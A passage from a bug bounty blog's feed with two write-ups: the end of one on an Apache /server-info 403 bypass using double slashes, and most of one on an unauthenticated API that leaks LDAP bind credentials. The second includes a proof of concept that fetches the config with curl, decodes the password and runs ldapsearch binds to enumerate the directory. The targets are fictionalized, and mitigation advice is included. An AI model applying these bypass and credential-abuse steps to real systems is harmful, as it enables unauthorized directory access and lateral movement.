l/c/vL27z5b+8Yiq76fN/9t8a/hmx5Dnv/5l6PVd63bR50v/+o5eZz8ub5fJcfF9s0/ra8fvuves1jmbGv8fG8Tc/jeb+3vi6P27f8K9G3P5Z9Xd+/hub7tRkY2wy3Mmy+7Tp4y3+zx/av/sf/uxx/yzXSOKbvH6/l/XhzDb15zreNr1e53prOc+t72fy8bzv/9po0XT7+m2vzTtNtv3s/2hzLm15/tLHXMXk//5vneOv3aVPtr993PK7n93pzb7uerxAAAAAAAAAAAECXsSNuB4OuGUsuv/ZmmDFD2Zv//ub2cv/vRpw3I9nlsNY08sz89OLZW4eiqzyfGdjc8zeNcq+/1mYomvnpxc+aBq3LMapx33f/C903z9cyitnX2PIaPB7z598f6+Xzt5z7n75+nO8GSX3uNq/ru+dsPi7fz7973Cs8lryuxkj4/euSY216DToSmt+pa89R83Vghz1zWzm2d10j9rns7a8y5DY/rsd5+v6+et5lyL7C+f/+sb77WtPv0n3dm3HUvB8t33t6LPqe2duY79em13iVQVce/831e5XHte97S/Y4m67nqwYAAAAAAAAAANBl7Ig7Nzd3MTg4eNn/Hw0MQzGNPaM4AAAAAElFTkSuQmCC" alt="Diagram illustrating Apache path normalization bypass using double-slash to access server-info despite 403 restriction – Apache server-info Exposure" width="1908" height="1075" title="Apache server-info Exposure: 7-Step Deep Analysis of 403 Bypass &amp; Internal Data Leak 6"><figcaption class="wp-caption-text">Path normalization flow demonstrating double-slash bypass to elude 403 protections</figcaption></figure>
<ul data-start="6176" data-end="6278">
<li data-start="6176" data-end="6278"></li>
</ul>
</li>
</ol>
<hr data-start="6280" data-end="6283" />
<h2 data-start="6285" data-end="6331">8. Exposed Data &amp; Internal Config Details</h2>
<p data-start="6332" data-end="6377">Through <strong data-start="6340" data-end="6356">/server-info</strong>, the attacker gains:</p>
<ol data-start="6379" data-end="7041">
<li data-start="6379" data-end="6546">
<p data-start="6382" data-end="6420"><strong data-start="6382" data-end="6418">LDAP Authentication Credentials:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!"><span class="hljs-attribute">AuthLDAPBindDN</span> <span class="hljs-string">"uid=apacheauth,cn=Service Accounts,dc=example,dc=com"</span><br />
AuthLDAPBindPassword <span class="hljs-string">"P<span class="hljs-variable">@ssw0rd</span></span>!123"<br />
</code></div>
</div>
</li>
<li data-start="6547" data-end="6656">
<p data-start="6550" data-end="6577"><strong data-start="6550" data-end="6575">Complete Module List:</strong></p>
<ul data-start="6581" data-end="6656">
<li data-start="6581" data-end="6656">
<p data-start="6583" data-end="6656">mod_ssl, mod_dav, mod_proxy, mod_authnz_ldap, mod_log_config, and more.</p>
</li>
</ul>
</li>
<li data-start="6657" data-end="6769">
<p data-start="6660" data-end="6688"><strong data-start="6660" data-end="6686">Environment Variables:</strong></p>
<ul data-start="6692" data-end="6769">
<li data-start="6692" data-end="6769">
<p data-start="6694" data-end="6769"><code data-start="6694" data-end="6707">SERVER_ROOT</code>, <code data-start="6709" data-end="6721">HTTPD_ROOT</code>, <code data-start="6723" data-end="6735">MPM_WORKER</code>, and custom site-specific vars.</p>
</li>
</ul>
</li>
<li data-start="6770" data-end="6928">
<p data-start="6773" data-end="6806"><strong data-start="6773" data-end="6804">Private &amp; Public IP Ranges:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">10.0.0.0/8<br />
172.16.0.0/12<br />
192.168.0.0/16<br />
203.0.113.5<br />
198.51.100.22<br />
…100+ entries<br />
</code></div>
</div>
</li>
<li data-start="6929" data-end="7041">
<p data-start="6932" data-end="6967"><strong data-start="6932" data-end="6965">Runtime Hooks &amp; VirtualHosts:</strong></p>
<ul data-start="6971" data-end="7041">
<li data-start="6971" data-end="7041">
<p data-start="6973" data-end="7041">Active <code data-start="6980" data-end="6993">mod_rewrite</code> rules, virtual host configs, SSL cipher suites.</p>
</li>
</ul>
</li>
</ol>
<hr data-start="7043" data-end="7046" />
<h2 data-start="7048" data-end="7071">9. Impact Analysis</h2>
<ul data-start="7072" data-end="7673">
<li data-start="7072" data-end="7166">
<p data-start="7074" data-end="7166"><strong data-start="7074" data-end="7094">Confidentiality:</strong> Attackers see internal topologies, service accounts, and credentials.</p>
</li>
<li data-start="7167" data-end="7255">
<p data-start="7169" data-end="7255"><strong data-start="7169" data-end="7183">Integrity:</strong> Knowledge of modules (e.g., mod_proxy) enables targeted CVE chaining.</p>
</li>
<li data-start="7256" data-end="7363">
<p data-start="7258" data-end="7363"><strong data-start="7258" data-end="7275">Availability:</strong> Although read-only, leaked DoS‐vulnerable modules (e.g., mod_dav) could be exploited.</p>
</li>
<li data-start="7364" data-end="7452">
<p data-start="7366" data-end="7452"><strong data-start="7366" data-end="7381">Compliance:</strong> Violates GDPR/PCI-DSS by exposing sensitive configuration and creds.</p>
</li>
<li data-start="7453" data-end="7673">
<p data-start="7455" data-end="7475"><strong data-start="7455" data-end="7473">Attack Chains:</strong></p>
<ol data-start="7478" data-end="7673">
<li data-start="7478" data-end="7536">
<p data-start="7481" data-end="7536">Use <code data-start="7485" data-end="7501">AuthLDAPBindDN</code> to bind and enumerate directory.</p>
</li>
<li data-start="7539" data-end="7610">
<p data-start="7542" data-end="7610">Identify vulnerable modules (e.g., mod_authnz_ldap CVE-2018-1312).</p>
</li>
<li data-start="7613" data-end="7673">
<p data-start="7616" data-end="7673">Mount DoS or RCE attacks based on leaked module versions.</p>
</li>
</ol>
</li>
</ul>
<hr data-start="7675" data-end="7678" />
<h2 data-start="7680" data-end="7722">10. Mitigation &amp; Hardening Strategies</h2>
<ol data-start="7723" data-end="8286">
<li data-start="7723" data-end="7807">
<p data-start="7726" data-end="7807"><strong data-start="7726" data-end="7753">Disable Unused Modules:</strong> Remove <code data-start="7761" data-end="7771">mod_info</code> and <code data-start="7776" data-end="7788">mod_status</code> from production.</p>
</li>
<li data-start="7808" data-end="7956">
<p data-start="7811" data-end="7840"><strong data-start="7811" data-end="7838">Strict Access Controls:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-apache">&lt;LocationMatch "^/server-(info|status)"&gt;<br />
Require ip 127.0.0.1 ::1<br />
&lt;/LocationMatch&gt;<br />
</code></div>
</div>
</li>
<li data-start="7957" data-end="8111">
<p data-start="7960" data-end="7991"><strong data-start="7960" data-end="7989">Path Normalization Fixes:</strong></p>
<ul data-start="7995" data-end="8111">
<li data-start="7995" data-end="8065">
<p data-start="7997" data-end="8065">Upgrade to Apache server-info Exposure  ≥2.4.50 where double-slash handling is hardened.</p>
</li>
<li data-start="8069" data-end="8111">
<p data-start="8071" data-end="8111">Add WAF rules to block <code data-start="8094" data-end="8098">//</code> sequences.</p>
</li>
</ul>
</li>
<li data-start="8112" data-end="8206">
<p data-start="8115" data-end="8206"><strong data-start="8115" data-end="8139">Credential Security:</strong> Move LDAP bind credentials to a secure vault—never in plaintext.</p>
</li>
<li data-start="8207" data-end="8286">
<p data-start="8210" data-end="8286"><strong data-start="8210" data-end="8241">Regular Audits &amp; Pen Tests:</strong> Include bypass scenarios in automated scans.</p>
</li>
</ol>
<hr data-start="8288" data-end="8291" />
<h2 data-start="8293" data-end="8326">11. Broader Security Lessons</h2>
<ul data-start="8327" data-end="8687">
<li data-start="8327" data-end="8420">
<p data-start="8329" data-end="8420"><strong data-start="8329" data-end="8365">Assume All Endpoints Are Public:</strong> Test with modified URIs (<code data-start="8391" data-end="8395">//</code>, <code data-start="8397" data-end="8402">..;</code>, URL-encoding).</p>
</li>
<li data-start="8421" data-end="8515">
<p data-start="8423" data-end="8515"><strong data-start="8423" data-end="8444">Defense in Depth:</strong> Even if modules are enabled, restrict them at the network perimeter.</p>
</li>
<li data-start="8516" data-end="8594">
<p data-start="8518" data-end="8594"><strong data-start="8518" data-end="8540">Secret Management:</strong> Hardening is only as strong as your secret storage.</p>
</li>
<li data-start="8595" data-end="8687">
<p data-start="8597" data-end="8687"><strong data-start="8597" data-end="8623">Monitor for Anomalies:</strong> Alert on requests containing suspicious patterns (<code data-start="8674" data-end="8685">//server-</code>).</p>
</li>
</ul>
<article class="text-token-text-primary w-full focus:outline-none scroll-mt-[calc(var(--header-height)+min(200px,max(70px,20svh)))]" dir="auto" tabindex="-1" data-turn-id="request-WEB:ff97eac7-55d9-439e-b38e-aa98d7dc0ea2-11" data-testid="conversation-turn-24" data-scroll-anchor="true" data-turn="assistant">
<div class="text-base my-auto mx-auto pb-10 [--thread-content-margin:--spacing(4)] @[37rem]:[--thread-content-margin:--spacing(6)] @[72rem]:[--thread-content-margin:--spacing(16)] px-(--thread-content-margin)">
<div class="[--thread-content-max-width:32rem] @[34rem]:[--thread-content-max-width:40rem] @[64rem]:[--thread-content-max-width:48rem] mx-auto max-w-(--thread-content-max-width) flex-1 group/turn-messages focus-visible:outline-hidden relative flex w-full min-w-0 flex-col agent-turn" tabindex="-1">
<div class="flex max-w-full flex-col grow">
<div class="min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal [.text-message+&amp;]:mt-5" dir="auto" data-message-author-role="assistant" data-message-id="553d2f3b-363c-42d0-bfe2-a154d8cb6ba0" data-message-model-slug="o4-mini">
<div class="flex w-full flex-col gap-1 empty:hidden first:pt-[3px]">
<div class="markdown prose dark:prose-invert w-full break-words light markdown-new-styling">
<h2 data-start="159" data-end="204">11. External Resources &amp; Further Reading</h2>
<ul data-start="205" data-end="943">
<li data-start="205" data-end="311">
<p data-start="207" data-end="311"><a class="cursor-pointer" href="https://httpd.apache.org/docs/current/mod/mod_info.html" target="_new" rel="noopener" data-start="207" data-end="309">Apache HTTP Server Documentation – mod_info</a></p>
</li>
<li data-start="312" data-end="422">
<p data-start="314" data-end="422"><a class="cursor-pointer" href="https://httpd.apache.org/docs/current/mod/mod_status.html" target="_new" rel="noopener" data-start="314" data-end="420">Apache server-info Exposure HTTP Server Documentation – mod_status</a></p>
</li>
<li data-start="423" data-end="508">
<p data-start="425" data-end="508"><a class="cursor-pointer" href="https://httpd.apache.org/security_report.html" target="_new" rel="noopener" data-start="425" data-end="506">Apache server-info Exposure HTTP Server Security Tips</a></p>
</li>
<li data-start="509" data-end="629">
<p data-start="511" data-end="629"><a class="cursor-pointer" href="https://tools.ietf.org/html/rfc7230" target="_new" rel="noopener" data-start="511" data-end="627">RFC 7230 – Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</a></p>
</li>
<li data-start="630" data-end="752">
<p data-start="632" data-end="752"><a class="cursor-pointer" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1312" target="_new" rel="noopener" data-start="632" data-end="750">CVE-2018-1312 – mod_authnz_ldap Information Disclosure</a></p>
</li>
<li data-start="753" data-end="852">
<p data-start="755" data-end="852"><a class="cursor-pointer" href="https://owasp.org/www-project-web-security-testing-guide/" target="_new" rel="noopener" data-start="755" data-end="850">OWASP Testing Guide – API Security</a></p>
</li>
<li data-start="853" data-end="943">
<p data-start="855" data-end="943"><a class="cursor-pointer" href="https://attack.mitre.org/techniques/T1046/" target="_new" rel="noopener" data-start="855" data-end="941">Mitre ATT&amp;CK – Network Service Discovery</a></p>
</li>
</ul>
<h2 data-start="11773" data-end="11792">13. Conclusion</h2>
<p data-start="11793" data-end="12348">The <strong data-start="11797" data-end="11828">Apache server-info Exposure</strong> vulnerability demonstrates how a seemingly minor path-normalization issue can compromise an entire web server’s security posture. Attackers can bypass 403 restrictions, harvest sensitive credentials, map private networks, and identify vulnerable modules—paving the way for lateral movement and targeted exploits. By understanding the mechanics of double-slash bypass, continuously auditing server configurations, and enforcing strict access controls, organizations can defend against such high-impact misconfigurations.</p>
<hr data-start="12350" data-end="12353" />
<h2 data-start="12355" data-end="12402">14. Final Thoughts: <a href="https://hackersatty.com/google-dorks-bug-bounty-guide/">Other Bug Bounty Blogs</a></h2>
<p data-start="12403" data-end="12755">Google Dorking remains a powerful reconnaissance technique in modern bug bounty methodology. With the right mindset and crafted queries, it’s possible to uncover sensitive files, misconfigurations, credentials, and more—without sending a single request to the server. This makes it especially useful for stealthy or scope-sensitive bug bounty programs.</p>
<p data-start="12757" data-end="12862">Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.</p>
<p data-start="12864" data-end="12897" data-is-last-node="" data-is-only-node=""><strong data-start="12864" data-end="12897" data-is-last-node="">Keep exploring. Keep hunting.</strong></p>
</div>
</div>
</div>
</div>
</div>
</div>
</article>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/apache-server-info-exposure-403-bypass/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">485</post-id>	</item>
		<item>
		<title>LDAP Credential Exposure: 7-Step In-Depth Analysis of an Unauthenticated Data Leak</title>
		<link>https://hackersatty.com/ldap-credential-exposure/</link>
					<comments>https://hackersatty.com/ldap-credential-exposure/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Wed, 06 Aug 2025 10:04:38 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[bug bounty 2025]]></category>
		<category><![CDATA[Bug bounty API vulnerability]]></category>
		<category><![CDATA[Bug Bounty Hunting]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=480</guid>

					<description><![CDATA[About Me I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. Over the years, I’ve honed my skills in uncovering critical vulnerabilities—ranging from API misconfigurations to directory-service &#8230; <a href="https://hackersatty.com/ldap-credential-exposure/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<h2 data-start="511" data-end="558">About Me</h2>
<h5 data-start="0" data-end="533">I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. Over the years, I’ve honed my skills in uncovering critical vulnerabilities—ranging from API misconfigurations to directory-service exposures—by combining deep protocol expertise with inventive reconnaissance techniques. As a dedicated bug bounty hunter, I leverage tools like Shodan, Burp Suite, and custom scripts, alongside thoughtfully crafted Google Dorks, to find hidden endpoints and sensitive data leaks that others might miss.</h5>
<h5 data-start="535" data-end="917">In this article, I’ll share my journey discovering an unauthenticated LDAP credential exposure, demonstrate a step-by-step proof of concept, and explore real-world exploitation scenarios. My goal is to help you add powerful LDAP reconnaissance and exploitation strategies to your own bug bounty toolkit—so you can responsibly disclose impactful flaws and make the web a safer place.</h5>
<p data-start="511" data-end="558"><code data-start="532" data-end="558"></code></p>
<h2 data-start="1538" data-end="1558">1. Introduction</h2>
<p data-start="1559" data-end="2001"><strong data-start="1559" data-end="1587">LDAP Credential Exposure</strong> occurs when unauthenticated API endpoints leak internal directory configuration data—including usernames, passwords, server addresses, and domain information—without any access control. Such a flaw can be exploited by attackers to bind directly to corporate directory services (e.g., Active Directory), perform directory enumeration, pivot laterally, and potentially escalate privileges to domain-wide compromise.</p>
<p data-start="2003" data-end="2216">In this write-up, we examine a real bug bounty report against a fictionalized “AcmeSecure” environment—sanitizing all sensitive data—and deliver an exhaustive exploration that spans over 2,000 words. You’ll learn:</p>
<ul data-start="2218" data-end="2506">
<li data-start="2218" data-end="2253">
<p data-start="2220" data-end="2253">The history and purpose of LDAP Credenital Exposure</p>
</li>
<li data-start="2254" data-end="2302">
<p data-start="2256" data-end="2302">How LDAP Credential Exposure authentication works under the hood</p>
</li>
<li data-start="2303" data-end="2352">
<p data-start="2305" data-end="2352">Reconnaissance methods (e.g., Shodan queries)</p>
</li>
<li data-start="2353" data-end="2407">
<p data-start="2355" data-end="2407">Detailed virus-style API misconfiguration analysis</p>
</li>
<li data-start="2408" data-end="2454">
<p data-start="2410" data-end="2454">Step-by-step proof-of-concept exploitation</p>
</li>
<li data-start="2455" data-end="2506">
<p data-start="2457" data-end="2506">Multiple real-world attack scenarios and impact</p>
</li>
</ul>
<hr data-start="2558" data-end="2561" />
<h2 data-start="2563" data-end="2596">2. LDAP Credenital Exposure : Origins and Purpose</h2>
<p data-start="2597" data-end="2865">LDAP (Lightweight Directory Access Protocol) originated in the early 1990s as a simplified alternative to the X.500 directory standard. Developed by Tim Howes and his team at the University of Michigan, LDAP quickly became the de-facto protocol for directory services.</p>
<ul data-start="2867" data-end="3230">
<li data-start="2867" data-end="3013">
<p data-start="2869" data-end="3013"><strong data-start="2869" data-end="2886">Primary Role:</strong> Provide a structured, hierarchical directory for storing information about users, groups, computers, printers, and policies.</p>
</li>
<li data-start="3014" data-end="3140">
<p data-start="3016" data-end="3140"><strong data-start="3016" data-end="3031">Data Model:</strong> Tree-structured entries (DNs—Distinguished Names) comprised of attributes (e.g., <code data-start="3113" data-end="3117">cn</code>, <code data-start="3119" data-end="3124">uid</code>, <code data-start="3126" data-end="3136">memberOf</code>).</p>
</li>
<li data-start="3141" data-end="3230">
<p data-start="3143" data-end="3230"><strong data-start="3143" data-end="3170">Common Implementations:</strong> OpenLDAP, Microsoft Active Directory, 389 Directory Server.</p>
</li>
</ul>
<p>&lt;p align=&#8221;center&#8221;&gt; &lt;img src=&#8221;https://via.placeholder.com/800&#215;300&#8243; alt=&#8221;LDAP Directory Tree Diagram&#8221; /&gt; &lt;/p&gt; &lt;small&gt;Figure: Sample LDAP directory hierarchy&lt;/small&gt;</p>
<hr data-start="3402" data-end="3405" />
<h2 data-start="3407" data-end="3444">3. How LDAP Authentication Works</h2>
<p data-start="3445" data-end="3517">At its core, LDAP Credenital Exposed authentication revolves around the <strong data-start="3498" data-end="3506">Bind</strong> operation:</p>
<ol data-start="3519" data-end="3833">
<li data-start="3519" data-end="3605">
<p data-start="3522" data-end="3605"><strong data-start="3522" data-end="3541">Anonymous Bind:</strong> No credentials; often restricted to public or read-only data.</p>
</li>
<li data-start="3606" data-end="3747">
<p data-start="3609" data-end="3747"><strong data-start="3609" data-end="3625">Simple Bind:</strong> Provides a DN (e.g., <code data-start="3647" data-end="3676">cn=reader,dc=example,dc=com</code>) and a password—sent in cleartext or Base64—unless protected by TLS.</p>
</li>
<li data-start="3748" data-end="3833">
<p data-start="3751" data-end="3833"><strong data-start="3751" data-end="3765">SASL Bind:</strong> Supports stronger mechanisms (e.g., GSSAPI/Kerberos, DIGEST-MD5).</p>
</li>
</ol>
<blockquote data-start="3835" data-end="4026">
<p data-start="3837" data-end="4026"><strong data-start="3837" data-end="3853">Key Insight:</strong> If an attacker obtains valid bind credentials, they can perform any operation permitted by that account’s ACLs—ranging from simple searches to full directory modifications.</p>
</blockquote>
<hr data-start="4028" data-end="4031" />
<h2 data-start="4033" data-end="4077">4. Common LDAP Deployment Architectures</h2>
<p data-start="4078" data-end="4139">Organizations often deploy LDAP Credential Exposure in multi-tier configurations:</p>
<ul data-start="4141" data-end="4469">
<li data-start="4141" data-end="4236">
<p data-start="4143" data-end="4236"><strong data-start="4143" data-end="4173">Primary Directory Servers:</strong> Authoritative storage, typically protected behind firewalls.</p>
</li>
<li data-start="4237" data-end="4334">
<p data-start="4239" data-end="4334"><strong data-start="4239" data-end="4270">Read-Only Replicas (RODCs):</strong> Distributed for load balancing; still require authentication.</p>
</li>
<li data-start="4335" data-end="4469">
<p data-start="4337" data-end="4469"><strong data-start="4337" data-end="4364">Edge-Facing Connectors:</strong> Application-specific proxies or API gateways that translate internal LDAP Credenital Exposure requests into RESTful calls.</p>
</li>
</ul>
<p data-start="4471" data-end="4690">When applications expose LDAP configuration via internal APIs—especially for dynamic authentication forms—they must ensure those endpoints enforce strict access controls. Unfortunately, misconfigurations are widespread.</p>
<figure id="attachment_482" aria-describedby="caption-attachment-482" style="width: 1024px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class="wp-image-482 size-large" title="Exposed LDAP Configuration JSON" src="https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-1024x339.png" alt="LDAP directory hierarchy illustrating organizational units for user and group entries – LDAP Credential Exposure" width="1024" height="339" srcset="https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-1024x339.png 1024w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-300x99.png 300w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-768x254.png 768w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-1320x437.png 1320w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-600x199.png 600w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1.png 1501w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-482" class="wp-caption-text">Sanitized JSON snippet displaying LDAP server address, username, and Base64-encoded password returned by an unauthenticated API endpoint, demonstrating LDAP Credential Exposure</figcaption></figure>
<hr data-start="4692" data-end="4695" />
<h2 data-start="4697" data-end="4730">5. Reconnaissance Techniques</h2>
<p data-start="4731" data-end="4818">Before exploitation, attackers perform broad reconnaissance. Tools and methods include:</p>
<ul data-start="4820" data-end="5295">
<li data-start="4820" data-end="5020">
<p data-start="4822" data-end="4844"><strong data-start="4822" data-end="4842">Shodan Searches:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">hostname:<span class="hljs-string">"*.acmesecure.com"</span> http.<span class="hljs-built_in">status</span>:<span class="hljs-number">200</span><br />
</code></div>
</div>
<p data-start="4911" data-end="5020">This filter returns all hosts under the target domain with port 80/443 open and responding with status 200.</p>
</li>
<li data-start="5022" data-end="5171">
<p data-start="5024" data-end="5171"><strong data-start="5024" data-end="5054">SSL/TLS Metadata Analysis:</strong> Identifies certificate common names and SANs (subject alternative names) to map subdomains back to the organization.</p>
</li>
<li data-start="5173" data-end="5295">
<p data-start="5175" data-end="5295"><strong data-start="5175" data-end="5195">Crawler Scripts:</strong> Automated scanners (e.g., <code data-start="5222" data-end="5235">waybackurls</code>, <code data-start="5237" data-end="5242">gau</code>) enumerate historical endpoints and parameter names.</p>
</li>
</ul>
<p data-start="5297" data-end="5413">By correlating subdomains and endpoints, attackers pinpoint candidate API paths that may leak configuration details.</p>
<hr data-start="5415" data-end="5418" />
<h2 data-start="5420" data-end="5458">6. Discovery of the Vulnerability</h2>
<h3 data-start="5459" data-end="5491">6.1 Initial Shodan Finding</h3>
<p data-start="5492" data-end="5542">One subdomain, <code data-start="5507" data-end="5527">api.acmesecure.com</code>, responded to:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">https://api.acmesecure.com/api/v1/config/ldap<br />
</code></div>
</div>
<p data-start="5597" data-end="5690">with a <strong data-start="5604" data-end="5614">200 OK</strong> and JSON payload. No <code data-start="5636" data-end="5651">Authorization</code> header or session cookie was required.</p>
<h3 data-start="5692" data-end="5721">6.2 Secondary Subdomain</h3>
<p data-start="5722" data-end="5806">A development instance, <code data-start="5746" data-end="5771">dev-acme.acmesecure.com</code>, mirrored the production API stub:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">/api/v1/config/ldap<br />
</code></div>
</div>
<p data-start="5835" data-end="5982">This endpoint also returned identical JSON, confirming the flaw was <strong data-start="5903" data-end="5915">systemic</strong> across environments, not just an overlooked corner of the network.</p>
<h3 data-start="5984" data-end="6022">6.3 Raw API Response (Sanitized)</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-json"><span class="hljs-punctuation">[</span><br />
<span class="hljs-punctuation">{</span><br />
<span class="hljs-attr">"id"</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"domain"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"corp.acme.local"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"username"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"ldap_reader_sample"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"password"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"c2VjdXJlLXBhc3N3b3Jk"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"server"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"ldap.acme.local"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"use_tls"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">]</span><br />
</code></div>
</div>
<ul data-start="6225" data-end="6352">
<li data-start="6225" data-end="6263">
<p data-start="6227" data-end="6263"><strong data-start="6227" data-end="6240">Username:</strong> <code data-start="6241" data-end="6261">ldap_reader_sample</code></p>
</li>
<li data-start="6264" data-end="6313">
<p data-start="6266" data-end="6313"><strong data-start="6266" data-end="6288">Password (Base64):</strong> <code data-start="6289" data-end="6311">c2VjdXJlLXBhc3N3b3Jk</code></p>
</li>
<li data-start="6314" data-end="6352">
<p data-start="6316" data-end="6352"><strong data-start="6316" data-end="6333">TLS Disabled:</strong> <code data-start="6334" data-end="6350">use_tls: false</code></p>
</li>
</ul>
<hr data-start="6354" data-end="6357" />
<h2 data-start="6359" data-end="6408">7. Technical Deep Dive: API Misconfiguration</h2>
<p data-start="6409" data-end="6495">Why do misconfigurations like <strong data-start="6439" data-end="6467">LDAP Credential Exposure</strong> happen? Common root causes:</p>
<ol data-start="6497" data-end="7004">
<li data-start="6497" data-end="6621">
<p data-start="6500" data-end="6621"><strong data-start="6500" data-end="6532">Debug Endpoints Left Active:</strong> Development or testing code pushed to production without disabling admin/debug routes.</p>
</li>
<li data-start="6622" data-end="6750">
<p data-start="6625" data-end="6750"><strong data-start="6625" data-end="6661">Lack of API Gateway Enforcement:</strong> Internal endpoints bypass gateway policies that would normally enforce authentication.</p>
</li>
<li data-start="6751" data-end="6869">
<p data-start="6754" data-end="6869"><strong data-start="6754" data-end="6779">Monolithic Codebases:</strong> Shared libraries expose configuration via utility functions that assume internal trust.</p>
</li>
<li data-start="6870" data-end="7004">
<p data-start="6873" data-end="7004"><strong data-start="6873" data-end="6903">Insufficient Code Reviews:</strong> Overlooked default routes or helper methods (e.g., <code data-start="6955" data-end="6972">getLdapConfig()</code>) end up in production builds.</p>
</li>
</ol>
<p data-start="7006" data-end="7254">In our scenario, a REST-style endpoint—originally intended only for the application’s frontend login page—was never protected by middleware checks. The development build included it for convenience, and the deployment pipeline did not strip it out.</p>
<hr data-start="7256" data-end="7259" />
<h2 data-start="7261" data-end="7303">8. Proof of Concept (PoC) Walkthrough</h2>
<p data-start="7304" data-end="7392">Below is a step-by-step demonstration of how an attacker verifies and exploits the leak:</p>
<ol data-start="7394" data-end="8382">
<li data-start="7394" data-end="7505">
<p data-start="7397" data-end="7425"><strong data-start="7397" data-end="7423">Unauthenticated Fetch:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">curl -s https://api.acmesecure.com/api/v1/config/ldap | jq<br />
</code></div>
</div>
</li>
<li data-start="7506" data-end="7629">
<p data-start="7509" data-end="7538"><strong data-start="7509" data-end="7536">Decode Base64 Password:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"c2VjdXJlLXBhc3N3b3Jk"</span> | <span class="hljs-built_in">base64</span> -d<br />
<span class="hljs-comment"># Outputs: secure-password</span><br />
</code></div>
</div>
</li>
<li data-start="7630" data-end="7905">
<p data-start="7633" data-end="7668"><strong data-start="7633" data-end="7666">LDAP Bind Test (Simple Bind):</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">ldapsearch -x -H ldap://ldap.acme.local -D <span class="hljs-string">"cn=ldap_reader_sample,dc=corp,dc=acme,dc=local"</span> \<br />
-w secure-password -b <span class="hljs-string">"dc=corp,dc=acme,dc=local"</span> <span class="hljs-string">"(objectClass=*)"</span><br />
</code></div>
</div>
<p data-start="7859" data-end="7905">Successful results confirm live credentials.</p>
</li>
<li data-start="7907" data-end="8171">
<p data-start="7910" data-end="7999"><strong data-start="7910" data-end="7936">Directory Enumeration:</strong><br data-start="7936" data-end="7939" />Once bound, the attacker can query for sensitive entries:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">ldapsearch -x -H ldap://ldap.acme.local -D <span class="hljs-string">"cn=ldap_reader_sample,..."</span> \<br />
-w secure-password -b <span class="hljs-string">"ou=IT,dc=corp,dc=acme,dc=local"</span> <span class="hljs-string">"(uid=*)"</span> cn mail<br />
</code></div>
</div>
</li>
<li data-start="8172" data-end="8382">
<p data-start="8175" data-end="8382"><strong data-start="8175" data-end="8206">Pivoting to Other Services:</strong><br data-start="8206" data-end="8209" />Many enterprise apps support LDAP-backed auth—so the attacker can log in to internal dashboards, SSO portals, or even password reset endpoints if sufficiently privileged.</p>
</li>
</ol>
<hr data-start="8384" data-end="8387" />
